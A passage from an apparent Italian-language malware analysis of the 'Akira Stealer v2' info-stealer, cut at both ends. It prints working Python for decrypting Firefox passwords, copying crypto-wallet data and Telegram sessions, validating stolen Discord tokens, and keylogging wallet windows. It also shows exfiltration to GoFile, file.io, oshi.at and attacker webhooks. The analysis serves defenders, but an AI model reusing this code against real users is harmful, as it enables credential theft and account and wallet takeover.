db.cursor()\n",[1704,7544,7545],{"class":1706,"line":2094},[1704,7546,7547],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1704,7549,7550],{"class":1706,"line":2415},[1704,7551,7552],{},"global_salt, item2 = cursor.fetchone()\n",[1704,7554,7555],{"class":1706,"line":2421},[1704,7556,3873],{"emptyLinePlaceholder":325},[1704,7558,7559],{"class":1706,"line":3080},[1704,7560,7561],{},"# Decode DER structure and derive key\n",[1704,7563,7564],{"class":1706,"line":3876},[1704,7565,7566],{},"decoded, _ = der_decode(item2)\n",[1704,7568,7569],{"class":1706,"line":3882},[1704,7570,7571],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1704,7573,7574],{"class":1706,"line":4128},[1704,7575,7576],{},"cipher_text = decoded[1].asOctets()\n",[1704,7578,7579],{"class":1706,"line":5046},[1704,7580,7581],{},"# Derive 3DES key\n",[1704,7583,7584],{"class":1706,"line":5052},[1704,7585,7586],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1704,7588,7589],{"class":1706,"line":5058},[1704,7590,7591],{},"iv = decoded[0][1][1].asOctets()\n",[1704,7593,7594],{"class":1706,"line":5064},[1704,7595,7596],{},"# Decrypt credentials\n",[1704,7598,7599],{"class":1706,"line":5070},[1704,7600,7601],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1704,7603,7604],{"class":1706,"line":5076},[1704,7605,7606],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1704,7608,7609],{"class":1706,"line":5082},[1704,7610,3873],{"emptyLinePlaceholder":325},[1704,7612,7613],{"class":1706,"line":5088},[1704,7614,7615],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[525,7617,7618,7619,646,7621,2204,7623,7625],{},"Con questa routine Akira può estrarre in modo trasparente ",[578,7620,7017],{},[578,7622,7020],{},[578,7624,7023],{}," per ogni profilo Firefox, scrivendo l'output decifrato in:",[615,7627,7630],{"className":7628,"code":7629,"language":620},[618],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[578,7631,7629],{"__ignoreMap":529},[525,7633,7634],{},"Questo approccio scavalca i controlli della master password a livello utente e dà allo stealer accesso illimitato a tutte le credenziali memorizzate.*",[525,7636,7637],{},[567,7638,7639],{},"4. Struttura dei file e denominazione",[615,7641,7644],{"className":7642,"code":7643,"language":620,"meta":529},[618],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[578,7645,7643],{"__ignoreMap":529},[630,7647,7648,7662,7668],{},[633,7649,7650,7651,7654,7655,7658,7659,2065],{},"Ogni ",[578,7652,7653],{},".txt"," inizia con un header uniforme (",[578,7656,7657],{},"\u003C================[Akira Stealer v2]>================>",") e una riga di separazione (",[578,7660,7661],{},"====…====",[633,7663,7664,7665,613],{},"ZIP su disco: ",[578,7666,7667],{},"%TEMP%\\\u003CComputerName>.zip",[633,7669,7670,7671,613],{},"Etichetta del nome file per il C&C: ",[578,7672,7673],{},"Akira-\u003Cusername>.zip",[525,7675,7676],{},[567,7677,7678],{},"5. Esfiltrazione e pulizia",[615,7680,7682],{"className":4513,"code":7681,"language":4515,"meta":529,"style":529},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[578,7683,7684,7689,7694,7699,7704],{"__ignoreMap":529},[1704,7685,7686],{"class":1706,"line":1707},[1704,7687,7688],{},"url = Webhook.uploadToGofile(zip_path)\n",[1704,7690,7691],{"class":1706,"line":530},[1704,7692,7693],{},"if not url:\n",[1704,7695,7696],{"class":1706,"line":2088},[1704,7697,7698],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1704,7700,7701],{"class":1706,"line":2094},[1704,7702,7703],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1704,7705,7706],{"class":1706,"line":2415},[1704,7707,7708],{},"Utils.clear_client_folder()\n",[630,7710,7711,7721,7735,7752],{},[633,7712,7713,7716,7717,7720],{},[567,7714,7715],{},"Canale primario (GoFile.io):"," il malware tenta prima di caricare l'archivio ZIP con tutti gli artefatti rubati su GoFile.io, leggendo dalla risposta JSON un URL ",[578,7718,7719],{},"downloadPage"," che dà all'attaccante accesso diretto all'archivio.",[633,7722,7723,7726,7727,7730,7731,7734],{},[567,7724,7725],{},"Fallback automatici:"," se l'endpoint GoFile non risponde (timeout di rete, rate limit e simili), il codice passa senza interruzioni a ",[578,7728,7729],{},"file.io"," e, se anche questo restituisce un link vuoto, infine a ",[578,7732,7733],{},"oshi.at",". Entrambe le alternative vengono invocate senza sollevare eccezioni, il che garantisce che uno dei tre servizi venga sempre provato in sequenza.",[633,7736,7737,7740,7741,7744,7745,646,7748,7751],{},[567,7738,7739],{},"Segnalazione via webhook:"," una volta determinato un URL (o una stringa vuota in caso di fallimento persistente), viene chiamata ",[578,7742,7743],{},"Webhook.sendDataTG(...)",", che impacchetta in un unico messaggio Discord o Telegram il link di download, gli identificativi della macchina (flag ",[578,7746,7747],{},"chatId",[578,7749,7750],{},"startup",") e tutti i conteggi per categoria (password, cookie, compilazioni automatiche, wallet).",[633,7753,7754,7757,7758,7761],{},[567,7755,7756],{},"Pulizia immediata:"," dopo la segnalazione, ",[578,7759,7760],{},"Utils.clear_client_folder()"," cancella in modo ricorsivo l'intera area di lavoro temporanea e il file ZIP stesso, senza lasciare su disco tracce dei dati raccolti o dell'archivio.",[846,7763,7764,7769],{},[525,7765,7766],{},[567,7767,7768],{},"Resilienza ai fallimenti:",[630,7770,7771,7778],{},[633,7772,7773,7774,7777],{},"Tutte le routine di upload restituiscono ",[578,7775,7776],{},"\"\""," in caso di errore invece di sollevare eccezioni, il che garantisce la continuità del flusso di codice.",[633,7779,7780],{},"Anche se tutti i servizi sono irraggiungibili, il malware trasmette comunque un report via webhook (pur senza link) prima di cancellare gli artefatti locali, riducendo al minimo i residui forensi a meno che il processo non vada in crash in modo imprevisto.",[852,7782],{"className":7783},[855,856],[525,7785,7786],{},[567,7787,7788],{},"6. Robustezza e gestione degli errori",[630,7790,7791,7809,7815,7824],{},[633,7792,7793,7796,7797,7800,7801,7804,7805,7808],{},[567,7794,7795],{},"Gestione granulare delle eccezioni:"," ogni interazione con il file system, sia ",[578,7798,7799],{},"shutil.copy",", sia una query SQLite, sia un'operazione su ZIP, è racchiusa in blocchi ",[578,7802,7803],{},"try/except",". Quando si verifica un errore (database bloccato, permesso negato, record malformato), l'eccezione viene catturata e registrata tramite ",[578,7806,7807],{},"Akira.logErrorTg()"," e l'esecuzione prosegue, isolando il guasto a quel singolo file o modulo.",[633,7810,7811,7814],{},[567,7812,7813],{},"Isolamento su thread per ciascun browser:"," le routine di estrazione per ogni browser supportato girano in un thread proprio. Questo design multithread fa sì che un crash o un deadlock nell'estrazione di un browser (per esempio profilo corrotto, chiave mancante) non fermi né rallenti l'analisi degli altri browser.",[633,7816,7817,7820,7821,7823],{},[567,7818,7819],{},"Fallback e valori predefiniti silenziosi:"," molte routine ausiliarie, come l'upload verso servizi di hosting alternativi, la verifica di risorse remote o l'avvio di sottoprocessi, usano blocchi ",[578,7822,7803],{}," annidati senza alcun avviso visibile, così da massimizzare la furtività. I valori predefiniti (stringhe vuote, booleani) sono scelti per mantenere il flusso ininterrotto ed eliminare condizioni di errore evidenti.",[633,7825,7826,7829,7830,7833,7834,7837],{},[567,7827,7828],{},"Mutex e guardie all'avvio:"," un mutex denominato (",[578,7831,7832],{},"1qsMlseJplTlArIF14f",") impedisce istanze multiple, mentre i controlli sul registro e ",[578,7835,7836],{},"Utils.CreateMutex()"," proteggono dalle esecuzioni concorrenti, offrendo maggiore stabilità durante l'impiego reale.",[740,7839,7841],{"id":7840},"_78-esfiltrazione-di-wallet-e-token","7.8 Esfiltrazione di wallet e token",[525,7843,746],{},[525,7845,7846],{},"In questa fase Akira Stealer v2 esegue la ricerca più completa di credenziali di criptovalute e token di sessione, che abbraccia estensioni del browser, wallet desktop, token di messaggistica e keylogging dal vivo. Lavora su thread paralleli, così nessun vettore viene tralasciato. Segue un'analisi passo per passo, supportata dal codice.",[887,7848,7850],{"id":7849},"_781-wallet-come-estensioni-del-browser","7.8.1 Wallet come estensioni del browser",[525,7852,893],{},[525,7854,7855,7858],{},[567,7856,7857],{},"Obiettivi:"," oltre 80 estensioni sui browser più diffusi, tra cui MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman e altre.",[615,7860,7862],{"className":4513,"code":7861,"language":4515,"meta":529,"style":529},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[578,7863,7864,7869,7874,7879,7884,7889,7894,7899,7904,7909,7914,7919,7924,7929,7934,7939,7944,7949,7954,7959,7964,7969,7974],{"__ignoreMap":529},[1704,7865,7866],{"class":1706,"line":1707},[1704,7867,7868],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1704,7870,7871],{"class":1706,"line":530},[1704,7872,7873],{},"walletsExtensions = [\n",[1704,7875,7876],{"class":1706,"line":2088},[1704,7877,7878],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1704,7880,7881],{"class":1706,"line":2094},[1704,7882,7883],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1704,7885,7886],{"class":1706,"line":2415},[1704,7887,7888],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1704,7890,7891],{"class":1706,"line":2421},[1704,7892,7893],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1704,7895,7896],{"class":1706,"line":3080},[1704,7897,7898],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1704,7900,7901],{"class":1706,"line":3876},[1704,7902,7903],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1704,7905,7906],{"class":1706,"line":3882},[1704,7907,7908],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1704,7910,7911],{"class":1706,"line":4128},[1704,7912,7913],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1704,7915,7916],{"class":1706,"line":5046},[1704,7917,7918],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1704,7920,7921],{"class":1706,"line":5052},[1704,7922,7923],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1704,7925,7926],{"class":1706,"line":5058},[1704,7927,7928],{},"    # ... plus dozens more mapped in code\n",[1704,7930,7931],{"class":1706,"line":5064},[1704,7932,7933],{},"]\n",[1704,7935,7936],{"class":1706,"line":5070},[1704,7937,7938],{},"# Extraction loop for each browser profile\n",[1704,7940,7941],{"class":1706,"line":5076},[1704,7942,7943],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1704,7945,7946],{"class":1706,"line":5082},[1704,7947,7948],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1704,7950,7951],{"class":1706,"line":5088},[1704,7952,7953],{},"    for ext_name, ext_id in walletsExtensions:\n",[1704,7955,7956],{"class":1706,"line":5094},[1704,7957,7958],{},"        src = os.path.join(base, ext_id)\n",[1704,7960,7961],{"class":1706,"line":5100},[1704,7962,7963],{},"        if os.path.isdir(src):\n",[1704,7965,7966],{"class":1706,"line":5106},[1704,7967,7968],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1704,7970,7971],{"class":1706,"line":5112},[1704,7972,7973],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1704,7975,7976],{"class":1706,"line":5118},[1704,7977,7978],{},"            data.ext_wallets_count += 1\n",[630,7980,7981,7987],{},[633,7982,7983,7986],{},[567,7984,7985],{},"File copiati",": IndexedDB, LevelDB, file JSON e di configurazione specifici dell'estensione, contenenti chiavi cifrate, seed phrase e credenziali di accesso.",[633,7988,7989,998,7992,646,7995,7998],{},[567,7990,7991],{},"Cartella di destinazione",[578,7993,7994],{},"Wallets/MetaMask_Chrome/",[578,7996,7997],{},"Wallets/Phantom_Edge/"," e simili.",[887,8000,8002],{"id":8001},"_782-applicazioni-di-wallet-desktop","7.8.2 Applicazioni di wallet desktop",[525,8004,893],{},[525,8006,8007,8009],{},[567,8008,7857],{}," i principali client desktop come Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi e altri.",[615,8011,8013],{"className":4513,"code":8012,"language":4515,"meta":529,"style":529},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[578,8014,8015,8020,8025,8030,8035,8040,8045,8050,8054,8059,8064,8069,8074,8079],{"__ignoreMap":529},[1704,8016,8017],{"class":1706,"line":1707},[1704,8018,8019],{},"walletsDesktop = [\n",[1704,8021,8022],{"class":1706,"line":530},[1704,8023,8024],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1704,8026,8027],{"class":1706,"line":2088},[1704,8028,8029],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1704,8031,8032],{"class":1706,"line":2094},[1704,8033,8034],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1704,8036,8037],{"class":1706,"line":2415},[1704,8038,8039],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1704,8041,8042],{"class":1706,"line":2421},[1704,8043,8044],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1704,8046,8047],{"class":1706,"line":3080},[1704,8048,8049],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1704,8051,8052],{"class":1706,"line":3876},[1704,8053,7933],{},[1704,8055,8056],{"class":1706,"line":3882},[1704,8057,8058],{},"for name, path in walletsDesktop:\n",[1704,8060,8061],{"class":1706,"line":4128},[1704,8062,8063],{},"    if os.path.isdir(path):\n",[1704,8065,8066],{"class":1706,"line":5046},[1704,8067,8068],{},"        Utils.TaskKill(name.lower())\n",[1704,8070,8071],{"class":1706,"line":5052},[1704,8072,8073],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1704,8075,8076],{"class":1706,"line":5058},[1704,8077,8078],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1704,8080,8081],{"class":1706,"line":5064},[1704,8082,8083],{},"        data.desktop_wallets_count += 1\n",[630,8085,8086,8099],{},[633,8087,8088,8091,8092,646,8095,8098],{},[567,8089,8090],{},"Dati rubati",": file keystore (",[578,8093,8094],{},"*.dat",[578,8096,8097],{},"*.json","), esportazioni di chiavi private, configurazione del wallet e cronologia delle transazioni.",[633,8100,8101,8104],{},[567,8102,8103],{},"Vantaggio",": contenuti del wallet utilizzabili offline dall'attaccante per autorizzare transazioni.",[887,8106,8108],{"id":8107},"_783-raccolta-dei-token-discord","7.8.3 Raccolta dei token Discord",[525,8110,893],{},[525,8112,8113],{},"I token Discord sono artefatti di autenticazione, in sostanza bearer token a lunga durata, che possono dare accesso completo all'account di un utente senza richiederne le credenziali o l'MFA. Akira sfrutta questo fatto scandagliando le cartelle dei dati di browser e app in cerca dei token memorizzati dai vari client Discord, tra cui Discord Stable, Canary, PTB (Public Test Build) e persino fork modificati come Lightcord.",[525,8115,8116],{},"La tecnica prende di mira i file LevelDB sotto il Local Storage dell'applicazione, dove i token di autenticazione restano spesso in chiaro. Con le espressioni regolari il malware analizza questi file .log e .ldb in cerca di pattern che corrispondano ai token utente normali o a quelli con MFA abilitata.",[525,8118,8119],{},"Per aumentare l'affidabilità e ridurre il rumore, Akira include un passo di validazione: invia una richiesta di test all'endpoint /users/@me di Discord usando ogni token raccolto. Solo i token che si autenticano con successo (HTTP 200) vengono esfiltrati via webhook, tipicamente verso un canale Discord controllato dall'attaccante.",[525,8121,8122],{},"Questo metodo permette agli attaccanti di impossessarsi degli account Discord in tempo reale, impersonare la vittima, raccogliere messaggi privati e server o distribuire ulteriore malware attraverso il social engineering, tutto senza far scattare gli avvisi di accesso.",[615,8124,8126],{"className":4513,"code":8125,"language":4515,"meta":529,"style":529},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[578,8127,8128,8133,8138,8143,8148,8152,8157,8162,8167,8172,8177,8182,8187,8192,8197,8202,8207,8212,8217],{"__ignoreMap":529},[1704,8129,8130],{"class":1706,"line":1707},[1704,8131,8132],{},"import re, requests\n",[1704,8134,8135],{"class":1706,"line":530},[1704,8136,8137],{},"patterns = [\n",[1704,8139,8140],{"class":1706,"line":2088},[1704,8141,8142],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1704,8144,8145],{"class":1706,"line":2094},[1704,8146,8147],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1704,8149,8150],{"class":1706,"line":2415},[1704,8151,7933],{},[1704,8153,8154],{"class":1706,"line":2421},[1704,8155,8156],{},"def harvest_discord(base, webhook_url):\n",[1704,8158,8159],{"class":1706,"line":3080},[1704,8160,8161],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1704,8163,8164],{"class":1706,"line":3876},[1704,8165,8166],{},"    for file in os.listdir(db_dir):\n",[1704,8168,8169],{"class":1706,"line":3882},[1704,8170,8171],{},"        if file.endswith(('.log', '.ldb')):\n",[1704,8173,8174],{"class":1706,"line":4128},[1704,8175,8176],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1704,8178,8179],{"class":1706,"line":5046},[1704,8180,8181],{},"                for pat in patterns:\n",[1704,8183,8184],{"class":1706,"line":5052},[1704,8185,8186],{},"                    for token in re.findall(pat, line):\n",[1704,8188,8189],{"class":1706,"line":5058},[1704,8190,8191],{},"                        # Verify token\n",[1704,8193,8194],{"class":1706,"line":5064},[1704,8195,8196],{},"                        h = {\"Authorization\": token}\n",[1704,8198,8199],{"class":1706,"line":5070},[1704,8200,8201],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1704,8203,8204],{"class":1706,"line":5076},[1704,8205,8206],{},"                        if r.status_code == 200:\n",[1704,8208,8209],{"class":1706,"line":5082},[1704,8210,8211],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1704,8213,8214],{"class":1706,"line":5088},[1704,8215,8216],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1704,8218,8219],{"class":1706,"line":5094},[1704,8220,8221],{},"                            requests.post(webhook_url, json=payload)\n",[630,8223,8224],{},[633,8225,8226,8229],{},[567,8227,8228],{},"Validazione",": pubblica solo i token validi, evitando l'invio di JWT scaduti.",[887,8231,8233],{"id":8232},"_784-file-di-sessione-telegram","7.8.4 File di sessione Telegram",[525,8235,893],{},[525,8237,8238,8240],{},[567,8239,7857],{}," Telegram Desktop/TData",[615,8242,8244],{"className":4513,"code":8243,"language":4515,"meta":529,"style":529},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[578,8245,8246,8251,8256,8261,8266,8271],{"__ignoreMap":529},[1704,8247,8248],{"class":1706,"line":1707},[1704,8249,8250],{},"def steal_telegram(tdata_path, dest_root):\n",[1704,8252,8253],{"class":1706,"line":530},[1704,8254,8255],{},"    if os.path.exists(tdata_path):\n",[1704,8257,8258],{"class":1706,"line":2088},[1704,8259,8260],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1704,8262,8263],{"class":1706,"line":2094},[1704,8264,8265],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1704,8267,8268],{"class":1706,"line":2415},[1704,8269,8270],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1704,8272,8273],{"class":1706,"line":2421},[1704,8274,8275],{},"        data.has_telegram = True\n",[630,8277,8278,8292],{},[633,8279,8280,8283,8284,8287,8288,8291],{},[567,8281,8282],{},"File",": cartella ",[578,8285,8286],{},"tdata"," con le chiavi di sessione, cartella ",[578,8289,8290],{},"D877F..."," con i file secret e unsecret.",[633,8293,8294,8297],{},[567,8295,8296],{},"Uso",": caricarli nel client Telegram dell'attaccante per accedere completamente all'account.",[887,8299,8301],{"id":8300},"_785-keylogging-dal-vivo-sui-wallet","7.8.5 Keylogging dal vivo sui wallet",[525,8303,893],{},[525,8305,8306],{},"I wallet di criptovalute sono obiettivi primari per gli info-stealer moderni. Akira include un keylogger dal vivo pensato specificamente per rubare credenziali di wallet come seed phrase, chiavi private e password nel momento in cui vengono digitate. A differenza dei keylogger generici, questo si attiva solo quando rileva la finestra di un wallet noto, il che riduce drasticamente il rumore e aumenta l'efficienza.",[525,8308,8309],{},"Il modulo monitora i titoli delle finestre attive e li confronta con un elenco hardcoded di app di wallet popolari come MetaMask, Phantom, Atomic Wallet e altre. Quando una finestra corrispondente prende il focus, inizia a registrare i tasti premuti tramite hook di tastiera a livello di sistema. Quando l'utente preme Invio, il modulo cattura immediatamente il contenuto della clipboard, nella consapevolezza che gli utenti copiano spesso i segreti durante la configurazione o l'accesso al wallet, e invia al webhook dell'attaccante sia l'input digitato sia i dati della clipboard. L'approccio è estremamente efficace perché combina due vettori d'attacco:",[630,8311,8312,8315],{},[633,8313,8314],{},"Keylogging consapevole del contesto, per catturare gli input sensibili del wallet solo quando servono.",[633,8316,8317],{},"Hijacking della clipboard, per estrarre le frasi di recupero o gli indirizzi di destinazione copiati prima che vengano incollati.",[525,8319,8320],{},"Insieme, questi metodi permettono agli attaccanti di compromettere i wallet in silenzio e in tempo reale, anche senza accesso al browser o esfiltrazione di file.",[615,8322,8324],{"className":4513,"code":8323,"language":4515,"meta":529,"style":529},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[578,8325,8326,8331,8335,8340,8345,8350,8355,8360,8364,8369,8374,8379,8384,8389,8394,8399,8404],{"__ignoreMap":529},[1704,8327,8328],{"class":1706,"line":1707},[1704,8329,8330],{},"import keyboard, pyperclip\n",[1704,8332,8333],{"class":1706,"line":530},[1704,8334,3873],{"emptyLinePlaceholder":325},[1704,8336,8337],{"class":1706,"line":2088},[1704,8338,8339],{},"class WalletKeylogger:\n",[1704,8341,8342],{"class":1706,"line":2094},[1704,8343,8344],{},"    def __init__(self, wallet_titles):\n",[1704,8346,8347],{"class":1706,"line":2415},[1704,8348,8349],{},"        self.buf = \"\"\n",[1704,8351,8352],{"class":1706,"line":2421},[1704,8353,8354],{},"        keyboard.on_release(self.capture)\n",[1704,8356,8357],{"class":1706,"line":3080},[1704,8358,8359],{},"        self.wallet_titles = wallet_titles\n",[1704,8361,8362],{"class":1706,"line":3876},[1704,8363,3873],{"emptyLinePlaceholder":325},[1704,8365,8366],{"class":1706,"line":3882},[1704,8367,8368],{},"    def capture(self, event):\n",[1704,8370,8371],{"class":1706,"line":4128},[1704,8372,8373],{},"        title = pygetwindow.getActiveWindow().title\n",[1704,8375,8376],{"class":1706,"line":5046},[1704,8377,8378],{},"        if any(w in title for w in self.wallet_titles):\n",[1704,8380,8381],{"class":1706,"line":5052},[1704,8382,8383],{},"            if event.name == 'enter':\n",[1704,8385,8386],{"class":1706,"line":5058},[1704,8387,8388],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1704,8390,8391],{"class":1706,"line":5064},[1704,8392,8393],{},"                send_to_webhook(data)\n",[1704,8395,8396],{"class":1706,"line":5070},[1704,8397,8398],{},"                self.buf = \"\"\n",[1704,8400,8401],{"class":1706,"line":5076},[1704,8402,8403],{},"            else:\n",[1704,8405,8406],{"class":1706,"line":5082},[1704,8407,8408],{},"                self.buf += event.name\n",[630,8410,8411,8417],{},[633,8412,8413,8416],{},[567,8414,8415],{},"Elenco di attivazione",": titoli di finestra che contengono “MetaMask”, “Phantom”, “Atomic Wallet” e simili.",[633,8418,8419,8422],{},[567,8420,8421],{},"Clipboard",": cattura seed o chiavi private copiate.",[887,8424,8426],{"id":8425},"_786-confezionamento-ed-esfiltrazione","7.8.6 Confezionamento ed esfiltrazione",[525,8428,893],{},[525,8430,8431],{},"Dopo aver raccolto dati del browser, credenziali, informazioni sui wallet e token, Akira procede a consolidare ed esfiltrare il bottino in modo molto automatizzato e furtivo. Questa fase segna l'ultimo passo della catena di infezione ed è ottimizzata per affidabilità e minima impronta forense. Prima di tutto, tutti i dati raccolti, compresi i dump del browser, i log e le informazioni sui wallet ottenute dal keylogger, vengono compressi in un archivio ZIP. Così l'intero dataset può essere trasferito come payload unico. L'archivio viene poi caricato su diversi servizi pubblici di condivisione file come GoFile, File.io o Oshi.at, a seconda della disponibilità. Queste piattaforme offrono hosting anonimo e temporaneo e sono spesso usate per aggirare i firewall aziendali o i blocchi basati sulla reputazione. Allo stesso tempo viene generato un report strutturato e inviato all'attaccante tramite un webhook Discord o Telegram. Contiene statistiche di sintesi, quanti wallet sono stati trovati, quanti token erano validi, e un link diretto ai dati rubati. Questo dà 